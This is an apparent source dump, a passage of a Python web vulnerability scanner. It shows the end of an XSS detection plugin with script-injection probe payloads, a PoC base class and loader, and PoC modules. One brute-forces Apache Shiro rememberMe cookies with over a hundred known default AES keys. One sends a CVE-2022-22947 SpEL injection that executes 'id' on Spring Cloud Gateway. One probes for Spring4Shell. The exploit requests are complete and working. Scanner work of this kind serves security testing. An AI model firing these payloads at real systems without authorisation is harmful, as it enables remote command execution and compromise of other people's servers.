echo_query+"="+"expression(alert(1))", 363 | "desc": "IE下可执行的表达式 payload:expression(alert(1))" 364 | } 365 | self.print_result(result) 366 | self.to_result(result) 367 | break 368 | elif keyname.lower() in XSS_EVAL_ATTITUDES: 369 | # 在任何可执行的属性中 370 | payload = Utils.gen_random_str(6) 371 | response = self.fix_query_get_response(url_info, echo_query, payload) 372 | _occerens = SearchInputInResponse(payload, response.text) 373 | for i in _occerens: 374 | _attibutes = i["details"]["attibutes"] 375 | if len(_attibutes) > 0 and _attibutes[0][1] == payload and _attibutes[0][ 376 | 0].lower() == keyname.lower(): 377 | result = { 378 | "plugins": self.plugins_name, 379 | "url": url_info.get("origin_url"), 380 | "req": HTTPParser.rsp_to_reqtext(response), 381 | "payload": echo_query+"="+payload, 382 | "desc": "{0}的值可控,可能被恶意攻击".format(keyname) 383 | } 384 | self.print_result(result) 385 | self.to_result(result) 386 | break 387 | elif _type == "comment": 388 | flag = Utils.gen_random_str(7) 389 | for _payload in ["-->", "--!>"]: 390 | payload = "{}<{}>".format(_payload, flag) 391 | truepayload = payload.format(_payload, "svg onload=alert`1`") 392 | response = self.fix_query_get_response(url_info, echo_query, payload) 393 | _occerens = SearchInputInResponse(flag, response.text) 394 | for i in _occerens: 395 | if i["details"]["tagname"] == flag: 396 | result = { 397 | "plugins": self.plugins_name, 398 | "url": url_info.get("origin_url"), 399 | "req": HTTPParser.rsp_to_reqtext(response), 400 | "payload": echo_query+"="+truepayload, 401 | "desc": "html注释可被闭合 测试payload:{0}".format(truepayload) 402 | } 403 | self.print_result(result) 404 | self.to_result(result) 405 | break 406 | elif _type == "script": 407 | # test html 408 | flag = Utils.gen_random_str(7) 409 | script_tag = random_upper(details["tagname"]) 410 | payload = "<{}>{}".format(script_tag, 411 | script_tag, flag, 412 | script_tag) 413 | truepayload = "<{}>{}".format(script_tag, 414 | script_tag, "prompt(1)", 415 | script_tag) 416 | response = self.fix_query_get_response(url_info, echo_query, payload) 417 | _occerens = SearchInputInResponse(flag, req.text) 418 | for i in _occerens: 419 | if i["details"]["content"] == flag and i["details"][ 420 | "tagname"].lower() == script_tag.lower(): 421 | result = { 422 | "plugins": self.plugins_name, 423 | "url": url_info.get("origin_url"), 424 | "req": HTTPParser.rsp_to_reqtext(response), 425 | "payload": echo_query+"="+truepayload, 426 | "desc": "可以新建script标签执行任意代码 测试payload:{0}".format(truepayload) 427 | } 428 | self.print_result(result) 429 | self.to_result(result) 430 | break 431 | 432 | # js 语法树分析反射 433 | source = details["content"] 434 | _occurences = SearchInputInScript(xsschecker, source) 435 | for i in _occurences: 436 | _type = i["type"] 437 | _details = i["details"] 438 | if _type == "InlineComment": 439 | flag = Utils.gen_random_str(5) 440 | payload = "\n;{};//".format(flag) 441 | truepayload = "\n;{};//".format('prompt(1)') 442 | response = self.fix_query_get_response(url_info, echo_query, payload) 443 | for _item in SearchInputInResponse(flag, response.text): 444 | if _item["details"]["tagname"] != "script": 445 | continue 446 | resp2 = _item["details"]["content"] 447 | output = SearchInputInScript(flag, resp2) 448 | for _output in output: 449 | if flag in _output["details"]["content"] and _output[ 450 | "type"] == "ScriptIdentifier": 451 | result = { 452 | "plugins": self.plugins_name, 453 | "url": url_info.get("origin_url"), 454 | "req": HTTPParser.rsp_to_reqtext(response), 455 | "payload": echo_query+"="+"\\n", 456 | "desc": "js单行注释可被\\n bypass" 457 | } 458 | self.print_result(result) 459 | self.to_result(result) 460 | break 461 | 462 | elif _type == "BlockComment": 463 | flag = "0x" + Utils.gen_random_str(4) 464 | payload = "*/{};/*".format(flag) 465 | truepayload = "*/{};/*".format('prompt(1)') 466 | response = self.fix_query_get_response(url_info, echo_query, payload) 467 | for _item in SearchInputInResponse(flag, response.text): 468 | if _item["details"]["tagname"] != "script": 469 | continue 470 | resp2 = _item["details"]["content"] 471 | output = SearchInputInScript(flag, resp2) 472 | for _output in output: 473 | if flag in _output["details"]["content"] and _output[ 474 | "type"] == "ScriptIdentifier": 475 | result = { 476 | "plugins": self.plugins_name, 477 | "url": url_info.get("origin_url"), 478 | "req": HTTPParser.rsp_to_reqtext(response), 479 | "payload": echo_query+"="+"\\n", 480 | "desc": "js单行注释可被\\n bypass" 481 | } 482 | self.print_result(result) 483 | self.to_result(result) 484 | break 485 | elif _type == "ScriptIdentifier": 486 | result = { 487 | "plugins": self.plugins_name, 488 | "url": url_info.get("origin_url"), 489 | "req": HTTPParser.rsp_to_reqtext(response), 490 | "payload": echo_query+"="+"prompt(1);", 491 | "desc": "ScriptIdentifier类型 测试payload:prompt(1);" 492 | } 493 | self.print_result(result) 494 | self.to_result(result) 495 | break 496 | elif _type == "ScriptLiteral": 497 | content = _details["content"] 498 | quote = content[0] 499 | flag = Utils.gen_random_str(6) 500 | if quote == "'" or quote == "\"": 501 | payload = '{quote}-{rand}-{quote}'.format(quote=quote, rand=flag) 502 | truepayload = '{quote}-{rand}-{quote}'.format(quote=quote, rand="prompt(1)") 503 | else: 504 | flag = "0x" + Utils.gen_random_str(4) 505 | payload = flag 506 | truepayload = "prompt(1)" 507 | response = self.fix_query_get_response(url_info, echo_query, payload) 508 | resp2 = None 509 | for _item in SearchInputInResponse(payload, response.text): 510 | if payload in _item["details"]["content"] and _item["type"] == "script": 511 | resp2 = _item["details"]["content"] 512 | 513 | if not resp2: 514 | continue 515 | output = SearchInputInScript(flag, resp2) 516 | if output: 517 | for _output in output: 518 | if flag in _output["details"]["content"] and _output[ 519 | "type"] == "ScriptIdentifier": 520 | result = { 521 | "plugins": self.plugins_name, 522 | "url": url_info.get("origin_url"), 523 | "req": HTTPParser.rsp_to_reqtext(response), 524 | "payload": echo_query+"="+truepayload, 525 | "desc": "script脚本内容可被任意设置 测试payload:{0}".format(truepayload) 526 | } 527 | self.print_result(result) 528 | self.to_result(result) -------------------------------------------------------------------------------- /plugins/poc/base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-04 15:31:48 5 | LastEditors: recar 6 | LastEditTime: 2022-03-24 11:45:25 7 | ''' 8 | 9 | # poc 10 | from lib.rate import rate_request 11 | import requests 12 | import random 13 | import string 14 | import base64 15 | import hashlib 16 | 17 | 18 | requests.packages.urllib3.disable_warnings() 19 | 20 | def raw2req(raw): 21 | CRLF ="\n" 22 | def _parse_request_line(request_line): 23 | request_parts = request_line.split(' ') 24 | method = request_parts[0] 25 | path = request_parts[1] 26 | protocol = request_parts[2] if len(request_parts) > 2 else "HTTP 1.1" 27 | return method, path, protocol 28 | 29 | req_lines = raw.split("\n") 30 | method, path, protocol = _parse_request_line(req_lines[0]) 31 | ind = 1 32 | headers = dict() 33 | while ind < len(req_lines) and len(req_lines[ind]) > 0: 34 | colon_ind = req_lines[ind].find(':') 35 | header_key = req_lines[ind][:colon_ind] 36 | header_value = req_lines[ind][colon_ind + 1:] 37 | headers[header_key] = header_value.strip() 38 | ind += 1 39 | ind += 1 40 | body = req_lines[ind:] if ind < len(req_lines) else None 41 | is_json = headers.get('Content-Type') 42 | if body is not None: 43 | if is_json=="application/json": 44 | body = "".join([b.strip() for b in body]) 45 | else: 46 | body = CRLF.join(body) 47 | return method, path, headers, body 48 | 49 | 50 | def rsp2req_raw(response): 51 | request = response.request 52 | http_version_int = response.raw.version 53 | if http_version_int ==10: 54 | http_version = "HTTP/1.0" 55 | else: 56 | http_version = "HTTP/1.1" 57 | raw = '%s %s %s\r\n' % (request.method, str(request.path_url), http_version) 58 | # Add headers to the request 59 | req_data = "" 60 | for k, v in request.headers.items(): 61 | req_data += k + ': ' + v + '\r\n' 62 | req_data += '\r\n' 63 | req_data += str(request.body) 64 | return raw 65 | 66 | 67 | class PocBase(object): 68 | 69 | def __init__(self,): 70 | pass 71 | 72 | def setup(self): 73 | ''' 74 | 测试前准备 比如需要先发几个包去做最后验证的前置条件 75 | ''' 76 | pass 77 | 78 | def send_payload(self): 79 | ''' 80 | 验证前的最后一个发送请求 81 | ''' 82 | pass 83 | 84 | def verify(self): 85 | pass 86 | 87 | def tear_down(self): 88 | ''' 89 | 清理方法 有些poc需要清除前置条件 90 | ''' 91 | pass 92 | 93 | 94 | 95 | def send_raw(self, raw): 96 | method,path,headers, data = raw2req(raw) 97 | url = "{0}{1}".format(self.base_url, path) 98 | headers["host"] ="{0}:{1}".format(self.ip, self.port) 99 | tmp = self.request(method, url, headers=headers, data=data, verify=False) 100 | return tmp 101 | 102 | 103 | # 辅助函数 104 | 105 | def gen_random_str(self, size=8): 106 | return ''.join(random.sample(string.ascii_letters + string.digits, size)).lower() 107 | 108 | def gen_random_int(self, a, b): 109 | return random.randint(a, b) 110 | 111 | def base64(self, s): 112 | return base64.b64encode(s.encode()) 113 | 114 | def unbase64(self, s): 115 | return base64.b64decode(s).decode() 116 | 117 | def md5(self, s): 118 | return hashlib.md5(s.encode()).hexdigest() 119 | 120 | # 统一入口 121 | def run(self, logger, report_work, url_info): 122 | self.request = rate_request 123 | # 初始化赋值 124 | self.logger = logger 125 | self.report_work = report_work 126 | self.url_info = url_info 127 | self.base_url = url_info.get('base_url') 128 | self.ip = url_info.get('ip') 129 | self.port = url_info.get('port') 130 | # 测试流程 131 | # 前置条件 132 | self.setup() 133 | # 验证 134 | verify_status, payload = self.verify() 135 | self.logger.debug("{0} verify_status: {1}".format(self.name, verify_status)) 136 | # 清理环境 137 | self.tear_down() 138 | result = dict() 139 | if verify_status: 140 | result = { 141 | "plugins": self.name, 142 | "payload": payload, 143 | "url": self.base_url, 144 | "desc": self.desc 145 | } 146 | return verify_status, result 147 | 148 | -------------------------------------------------------------------------------- /plugins/poc/poc_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-21 15:28:29 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 18:09:33 7 | ''' 8 | 9 | from lib.log import logger 10 | from lib.work import Worker 11 | from lib.utils import Utils 12 | from plugins.scan import Base 13 | from collections import defaultdict 14 | import importlib 15 | import copy 16 | import sys 17 | import os 18 | 19 | class PocScan(Base): 20 | def __init__(self, report_work, block=True): 21 | super(PocScan, self).__init__(report_work) 22 | self.logger= logger 23 | self.timeout = 3 24 | self.block = block 25 | self.base_path = os.path.dirname(os.path.abspath(__file__)) 26 | self.plugins_name = "PocScan" 27 | self.result_list = list() 28 | self.poc_fingerprint_dict = defaultdict(list) 29 | self.poc_name_dict = dict() 30 | self.load_script() 31 | 32 | 33 | # 先加上所有script 然后copy测试 34 | def load_script(self): 35 | script_path = os.path.join(self.base_path, "pocs") 36 | for poc_dir in os.listdir(script_path): 37 | if poc_dir == "__pycache__": 38 | continue 39 | poc_dir_path = os.path.join(script_path, poc_dir) 40 | sys.path.append(poc_dir_path) 41 | all_poc_path_list = Utils.get_all_filepaths(script_path) 42 | count = 0 43 | for poc_path in all_poc_path_list: 44 | _, poc = os.path.split(poc_path) 45 | if not poc.endswith(".py"): 46 | continue 47 | poc = poc.replace(".py", "") 48 | if poc=="base": 49 | continue 50 | metaclass = importlib.import_module(poc) 51 | poc_class = metaclass.Poc() 52 | fingerprint = poc_class.fingerprint 53 | name = poc_class.name 54 | self.poc_fingerprint_dict[fingerprint].append(poc_class) 55 | self.poc_name_dict[poc] = poc_class 56 | count +=1 57 | self.logger.info("load poc count: {0}".format(count)) 58 | 59 | def run_poc_by_name(self, url_info, req, rsp, poc_name): 60 | ''' 61 | 指定poc_file_name run poc 62 | ''' 63 | base_url = url_info.get('base_url') 64 | poc_class = self.poc_name_dict[poc_name] 65 | poc_plugins = copy.copy(poc_class) 66 | match, poc_result = poc_plugins.run(self.logger, self.report_work, url_info) 67 | if match: 68 | result = { 69 | "plugins": self.plugins_name, 70 | "url_info": url_info, 71 | } 72 | resule = result.update(poc_result) 73 | self.print_result(result) 74 | 75 | def run(self, url_info, req, rsp, fingerprint): 76 | def consumer(poc_plugins): 77 | match, result = poc_plugins.run(self.logger, self.report_work, url_info) 78 | if match: 79 | result["url_info"] = url_info 80 | self.print_result(result) 81 | self.to_result(result) 82 | self.poc_work = Worker(consumer, consumer_count=10, block=self.block) 83 | plugins_class_list = self.poc_fingerprint_dict.get(fingerprint) 84 | if plugins_class_list is None: 85 | return 86 | for plugins_class in plugins_class_list: 87 | poc_plugins = copy.copy(plugins_class) 88 | self.logger.debug("test poc: {0}".format(plugins_class.name)) 89 | self.poc_work.put(poc_plugins) 90 | -------------------------------------------------------------------------------- /plugins/poc/pocs/shiro/shiro_default_key.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-23 16:29:35 5 | LastEditors: recar 6 | LastEditTime: 2022-03-24 14:24:30 7 | ''' 8 | from plugins.poc.base import PocBase 9 | import base64 10 | import uuid 11 | from Crypto.Cipher import AES 12 | ## 'kPH+bIxk5D2deZiIxcaaaA==' 13 | keys = [ 14 | 'kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==', 'fCq+/xW488hMTCE+cmJ3FF==', 'zSyK5Kp6PZAAjlT+eeNMlg==', 'WkhBTkdYSUFPSEVJX0NBVA==', 15 | 'RVZBTk5JR0hUTFlfV0FPVQ==', 'U3ByaW5nQmxhZGUAAAAAAA==', 'cGljYXMAAAAAAAAAAAAAAA==', 'd2ViUmVtZW1iZXJNZUtleQ==', 'fsHspZw/92PrS3XrPW+vxw==', 16 | 'sHdIjUN6tzhl8xZMG3ULCQ==', 'WuB+y2gcHRnY2Lg9+Aqmqg==', 'ertVhmFLUs0KTA3Kprsdag==', '2itfW92XazYRi5ltW0M2yA==', '6ZmI6I2j3Y+R1aSn5BOlAA==', 17 | 'f/SY5TIve5WWzT4aQlABJA==', 'Jt3C93kMR9D5e8QzwfsiMw==', 'aU1pcmFjbGVpTWlyYWNsZQ==', 'XTx6CKLo/SdSgub+OPHSrw==', '8AvVhmFLUs0KTA3Kprsdag==', 18 | '66v1O8keKNV3TTcGPK1wzg==', 'Q01TX0JGTFlLRVlfMjAxOQ==', '5AvVhmFLUS0ATA4Kprsdag==', 'ZmFsYWRvLnh5ei5zaGlybw==', '0AvVhmFLUs0KTA3Kprsdag==', 19 | 'r0e3c16IdVkouZgk1TKVMg==', 'Z3VucwAAAAAAAAAAAAAAAA==', '5J7bIJIV0LQSN3c9LPitBQ==', 'ZnJlc2h6Y24xMjM0NTY3OA==', 'yeAAo1E8BOeAYfBlm4NG9Q==', 20 | 'a3dvbmcAAAAAAAAAAAAAAA==', '4BvVhmFLUs0KTA3Kprsdag==', 's0KTA3mFLUprK4AvVhsdag==', 'yNeUgSzL/CfiWw1GALg6Ag==', 'OY//C4rhfwNxCQAQCrQQ1Q==', 21 | 'fCq+/xW488hMTCD+cmJ3aQ==', 'ZAvph3dsQs0FSL3SDFAdag==', 'MTIzNDU2NzgxMjM0NTY3OA==', '1AvVhdsgUs0FSA3SDFAdag==', 'Bf7MfkNR0axGGptozrebag==', 22 | '1QWLxg+NYmxraMoxAXu/Iw==', '6AvVhmFLUs0KTA3Kprsdag==', '6NfXkC7YVCV5DASIrEm1Rg==', '2AvVhdsgUs0FSA3SDFAdag==', '9FvVhtFLUs0KnA3Kprsdyg==', 23 | 'OUHYQzxQ/W9e/UjiAGu6rg==', 'ClLk69oNcA3m+s0jIMIkpg==', 'vXP33AonIp9bFwGl7aT7rA==', 'NGk/3cQ6F5/UNPRh8LpMIg==', 'MPdCMZ9urzEA50JDlDYYDg==', 24 | 'c2hpcm9fYmF0aXMzMgAAAA==', 'XgGkgqGqYrix9lI6vxcrRw==', '2A2V+RFLUs+eTA3Kpr+dag==', '5AvVhmFLUs0KTA3Kprsdag==', '3AvVhmFLUs0KTA3Kprsdag==', 25 | 'WcfHGU25gNnTxTlmJMeSpw==', 'bWljcm9zAAAAAAAAAAAAAA==', 'bWluZS1hc3NldC1rZXk6QQ==', 'bXRvbnMAAAAAAAAAAAAAAA==', '6ZmI6I2j5Y+R5aSn5ZOlAA==', 26 | '3JvYhmBLUs0ETA5Kprsdag==', 'A7UzJgh1+EWj5oBFi+mSgw==', 'Is9zJ3pzNh2cgTHB4ua3+Q==', '25BsmdYwjnfcWmnhAciDDg==', 'cmVtZW1iZXJNZQAAAAAAAA==', 27 | '7AvVhmFLUs0KTA3Kprsdag==', '3qDVdLawoIr1xFd6ietnwg==', 'Y1JxNSPXVwMkyvES/kJGeQ==', 'xVmmoltfpb8tTceuT5R7Bw==', 'O4pdf+7e+mZe8NyxMTPJmQ==', 28 | 'SDKOLKn2J1j/2BHjeZwAoQ==', 'a2VlcE9uR29pbmdBbmRGaQ==', 'V2hhdCBUaGUgSGVsbAAAAA==', 'GAevYnznvgNCURavBhCr1w==', 'hBlzKg78ajaZuTE0VLzDDg==', 29 | '2cVtiE83c4lIrELJwKGJUw==', 'U3BAbW5nQmxhZGUAAAAAAA==', '9AvVhmFLUs0KTA3Kprsdag==', 'SkZpbmFsQmxhZGUAAAAAAA==', 'lT2UvDUmQwewm6mMoiw4Ig==', 30 | 'HWrBltGvEZc14h9VpMvZWw==', 'wGiHplamyXlVB11UXWol8g==', '8BvVhmFLUs0KTA3Kprsdag==', 'bya2HkYo57u6fWh5theAWw==', 'IduElDUpDDXE677ZkhhKnQ==', 31 | '1tC/xrDYs8ey+sa3emtiYw==', 'MTIzNDU2Nzg5MGFiY2RlZg==', 'c+3hFGPjbgzGdrC+MHgoRQ==', 'rPNqM6uKFCyaL10AK51UkQ==', '5aaC5qKm5oqA5pyvAAAAAA==', 32 | 'cGhyYWNrY3RmREUhfiMkZA==', 'MzVeSkYyWTI2OFVLZjRzZg==', 'YI1+nBV//m7ELrIyDHm6DQ==', 'empodDEyMwAAAAAAAAAAAA==', 'NsZXjXVklWPZwOfkvk6kUA==', 33 | 'ZUdsaGJuSmxibVI2ZHc9PQ==', 'L7RioUULEFhRyxM7a2R/Yg==', 'i45FVt72K2kLgvFrJtoZRw==', 'bXdrXl9eNjY2KjA3Z2otPQ==', 'sgIQrqUVxa1OZRRIK3hLZw==', 34 | 'tiVV6g3uZBGfgshesAQbjA==', 'GsHaWo4m1eNbE0kNSMULhg==', 'l8cc6d2xpkT1yFtLIcLHCg==', 'KU471rVNQ6k7PQL4SqxgJg==', '6Zm+6I2j5Y+R5aS+5ZOlAA==', 35 | 'kPH+bIxk5D2deZiIxcabaA==', 'kPH+bIxk5D2deZiIxcacaA==', '3AvVhdAgUs0FSA4SDFAdBg==', '4AvVhdsgUs0F563SDFAdag==', 'FL9HL9Yu5bVUJ0PDU1ySvg==', 36 | '5RC7uBZLkByfFfJm22q/Zw==', 'eXNmAAAAAAAAAAAAAAAAAA==', 'fdCEiK9YvLC668sS43CJ6A==', 'FJoQCiz0z5XWz2N2LyxNww==', 'HeUZ/LvgkO7nsa18ZyVxWQ==', 37 | 'HoTP07fJPKIRLOWoVXmv+Q==', 'iycgIIyCatQofd0XXxbzEg==', 'm0/5ZZ9L4jjQXn7MREr/bw==', 'NoIw91X9GSiCrLCF03ZGZw==', 'oPH+bIxk5E2enZiIxcqaaA==', 38 | 'QAk0rp8sG0uJC4Ke2baYNA==', 'Rb5RN+LofDWJlzWAwsXzxg==', 's2SE9y32PvLeYo+VGFpcKA==', 'SrpFBcVD89eTQ2icOD0TMg==', 'U0hGX2d1bnMAAAAAAAAAAA==', 39 | 'Us0KvVhTeasAm43KFLAeng==', 'Ymx1ZXdoYWxlAAAAAAAAAA==', 'YWJjZGRjYmFhYmNkZGNiYQ==', 'zIiHplamyXlVB11UXWol8g==', 'ZjQyMTJiNTJhZGZmYjFjMQ==', 40 | 'HOlg7NHb9potm0n5s4ic0Q==', '2AvVhdsgUs0FSA3SaFAdfg==', '4rvVhmFLUs0KAT3Kprsdag==', 'AF05JAuyuEB1ouJQ9Y9Phg==', 'UGlzMjAxNiVLeUVlXiEjLw==', 41 | '2AvVhdsgERdsSA3SDFAdag==', 'QF5HMyZAWDZYRyFnSGhTdQ==', '8AvVhdsgUs0FSA3SDFAdag==', '4AvVhmFLUs5KTA1Kprsdag==', '4WCZSJyqdUQsije93aQIRg==', 42 | '3rvVhmFLUs0KAT3Kprsdag==', 'b2EAAAAAAAAAAAAAAAAAAA==', '3AvVhMFLIs0KTA3Kprsdag==', '4AvVhm2LUs0KTA3Kprsdag==', '2AvVCXsxUs0FSA7SYFjdQg==', 43 | 'Cj6LnKZNLEowAZrdqyH/Ew==', '3qDVdLawoIr1xFd6ietnsg==', '2AvVhdsgUsOFSA3SDFAdag==', 'FP7qKJzdJOGkzoQzo2wTmA==', 'wyLZMDifwq3sW1vhhHpgKA==', 44 | '5AvVhCsgUs0FSA3SDFAdag==', 'pbnA+Qzen1vjV3rNqQBLHg==', 'GhrF5zLfq1Dtadd1jlohhA==', '2AvVhmFLUs0KTA3Kprsdag==', 'mIccZhQt6EBHrZIyw1FAXQ==', 45 | '4AvVhmFLUs0KTA3Kprseaf==', 'GHxH6G3LFh8Zb3NwoRgfFA==', 'B9rPF8FHhxKJZ9k63ik7kQ==', '3AvVhmFLUs0KTA3KaTHGFg==', 'M2djA70UBBUPDibGZBRvrA==', 46 | 'QDFCnfkLUs0KTA3Kprsdag==', '2adsfasdqerqerqewradsf==', '3Av2hmFLAs0BTA3Kprsd6E==', '4AvVhmFLUsOKTA3Kprsdag==', 'Z3VucwACAOVAKALACAADSA==', 47 | '4AvVhmFLUs0KTA3KAAAAAA==', 'sBv2t3okbdm3U0r2EVcSzB==', '5oiR5piv5p2h5ZK46bG8IQ==', 'TGMPe7lGO/Gbr38QiJu1/w==', '4AvVhmFLUs0TTA3Kprsdag==', 48 | 'YWdlbnRAZG1AMjAxOHN3Zg==', 'Z3VucwAAAAAAAAAAAAABBB==', 'AztiX2RUqhc7dhOzl1Mj8Q==', 'FjbNm1avvGmWE9CY2HqV75==', 'QVN1bm5uJ3MgU3Vuc2l0ZQ==', 49 | '9Ami6v2G5Y+r5aPnE4OlBB==', '2AvVidsaUSofSA3SDFAdog==', '3AvVhdAgUs1FSA4SDFAdBg==', 'R29yZG9uV2ViAAAAAAAAAA==', 'wrjUh2ttBPQLnT4JVhriug==', 50 | 'w793pPq5ZVBKkj8OhV4KaQ==', 'c2hvdWtlLXBsdXMuMjAxNg==', 'pyyX1c5x2f0LZZ7VKZXjKO==', 'duhfin37x6chw29jsne45m==', 'QUxQSEFNWVNPRlRCVUlMRA==', 51 | 'YVd4dmRtVjViM1UlM0QIdn==', 'YnlhdnMAAAAAAAAAAAAAAA==', 'YystomRZLMUjiK0Q1+LFdw==', '2AvVhdsgUs0FSA3SDFAder==', 'A+kWR7o9O0/G/W6aOGesRA==', 52 | 'kPv59vyqzj00x11LXJZTjJ2UHW48jzHN' 53 | ] 54 | 55 | checker = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" 56 | 57 | 58 | 59 | class Poc(PocBase): 60 | def __init__(self): 61 | super(PocBase, self).__init__() 62 | self.name = "Apache Shiro 默认key" 63 | self.cve = "" 64 | self.author = "Recar" 65 | self.desc = "shiro 默认key" 66 | self.fingerprint = "shiro" 67 | 68 | def aes(self, payload,key): 69 | BS = AES.block_size 70 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 71 | mode = AES.MODE_CBC 72 | iv = uuid.uuid4().bytes 73 | encryptor = AES.new(base64.b64decode(key), mode, iv) 74 | file_body = pad(base64.b64decode(payload)) 75 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 76 | return base64_ciphertext 77 | 78 | def aes_v2(self, payload,key): 79 | BS = AES.block_size 80 | mode = AES.MODE_GCM 81 | iv = uuid.uuid4().bytes 82 | encryptor = AES.new(base64.b64decode(key), mode, iv) 83 | file_body=base64.b64decode(payload) 84 | enc,tag=encryptor.encrypt_and_digest(file_body) 85 | base64_ciphertext = base64.b64encode(iv + enc + tag) 86 | return base64_ciphertext 87 | 88 | def verify(self): 89 | for key in keys: 90 | base64_ciphertext_1 = self.aes(checker,key) 91 | base64_ciphertext_2 = self.aes_v2(checker,key) 92 | for base64_ciphertext in [base64_ciphertext_1, base64_ciphertext_2]: 93 | cookie={"rememberMe":base64_ciphertext.decode()} 94 | rsp = self.request( 95 | self.base_url, cookies=cookie) 96 | if 'Set-Cookie' not in rsp.headers.keys() or "rememberMe=deleteMe" not in rsp.headers.get("Set-Cookie"): 97 | return True, key 98 | return False, None 99 | -------------------------------------------------------------------------------- /plugins/poc/pocs/spring/CVE-2022-22947.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-04 15:27:18 5 | LastEditors: recar 6 | LastEditTime: 2022-03-23 18:14:36 7 | ''' 8 | 9 | from plugins.poc.base import PocBase 10 | 11 | 12 | class Poc(PocBase): 13 | def __init__(self): 14 | super(PocBase, self).__init__() 15 | self.name = "Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)" 16 | self.cve = "CVE-2022-22947" 17 | self.author = "Recar" 18 | self.desc = "Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。" 19 | self.fingerprint = "spring" 20 | 21 | def setup(self): 22 | raw1 = r"""POST /actuator/gateway/routes/hacktest HTTP/1.1 23 | Accept-Encoding: gzip, deflate 24 | Accept: */* 25 | Accept-Language: en 26 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 27 | Connection: close 28 | Content-Type: application/json 29 | Content-Length: 329 30 | 31 | { 32 | "id": "hacktest", 33 | "filters": [{ 34 | "name": "AddResponseHeader", 35 | "args": { 36 | "name": "Result", 37 | "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" 38 | } 39 | }], 40 | "uri": "http://example.com" 41 | } 42 | """ 43 | raw2 = r"""POST /actuator/gateway/refresh HTTP/1.1 44 | Accept-Encoding: gzip, deflate 45 | Accept: */* 46 | Accept-Language: en 47 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 48 | Connection: close 49 | Content-Type: application/x-www-form-urlencoded 50 | Content-Length: 0 51 | """ 52 | # 首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由 53 | rs1 = self.send_raw(raw1) 54 | # 然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行 55 | rs2 = self.send_raw(raw2) 56 | 57 | def verify(self): 58 | raw = r"""GET /actuator/gateway/routes/hacktest HTTP/1.1 59 | Accept-Encoding: gzip, deflate 60 | Accept: */* 61 | Accept-Language: en 62 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 63 | Connection: close 64 | Content-Type: application/x-www-form-urlencoded 65 | Content-Length: 0 66 | """ 67 | # 这里需要返回 response 68 | response = self.send_raw(raw) 69 | if "uid=0(root) gid=0(root) groups=0(root)" in response.text: 70 | return True, raw 71 | return False, None 72 | 73 | def tear_down(self): 74 | raw1 = r"""DELETE /actuator/gateway/routes/hacktest HTTP/1.1 75 | Accept-Encoding: gzip, deflate 76 | Accept: */* 77 | Accept-Language: en 78 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 79 | Connection: close 80 | """ 81 | raw2 = r"""POST /actuator/gateway/refresh HTTP/1.1 82 | Accept-Encoding: gzip, deflate 83 | Accept: */* 84 | Accept-Language: en 85 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 86 | Connection: close 87 | Content-Type: application/x-www-form-urlencoded 88 | Content-Length: 0 89 | """ 90 | # 发送如下数据包清理现场,删除所添加的路由 91 | self.send_raw(raw1) 92 | # 再刷新下路由 93 | self.send_raw(raw2) 94 | -------------------------------------------------------------------------------- /plugins/poc/pocs/spring/spring_0daya.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-04-01 15:44:40 5 | LastEditors: recar 6 | LastEditTime: 2022-04-01 18:02:16 7 | ''' 8 | 9 | 10 | from plugins.poc.base import PocBase 11 | 12 | class Poc(PocBase): 13 | def __init__(self): 14 | super(PocBase, self).__init__() 15 | self.name = "Spring4Shell" 16 | self.cve = "" 17 | self.author = "Recar" 18 | self.desc = """Spring""" 19 | self.fingerprint = "spring" 20 | 21 | def verify(self): 22 | self.flag = self.gen_random_str() 23 | method = self.url_info.get('method') 24 | headers = self.url_info.get('headers') 25 | if method=="GET": 26 | return 27 | payload1 = """class.module.classLoader.DefaultAssertionStatus=False""" 28 | url = self.base_url 29 | self.logger.debug(url) 30 | response1 = self.request(url, method, data=payload1, headers=headers) 31 | payload2 = """class.module.classLoader.DefaultAssertionStatus=recar""" 32 | response2 = self.request(url, method, data=payload2, headers=headers) 33 | if response1.status_code == 200 and response2.status_code == 400: 34 | return True, url 35 | return False, None 36 | -------------------------------------------------------------------------------- /plugins/poc/pocs/struts2/s2_057.py: -------------------------------------------------------------------------------- 1 | 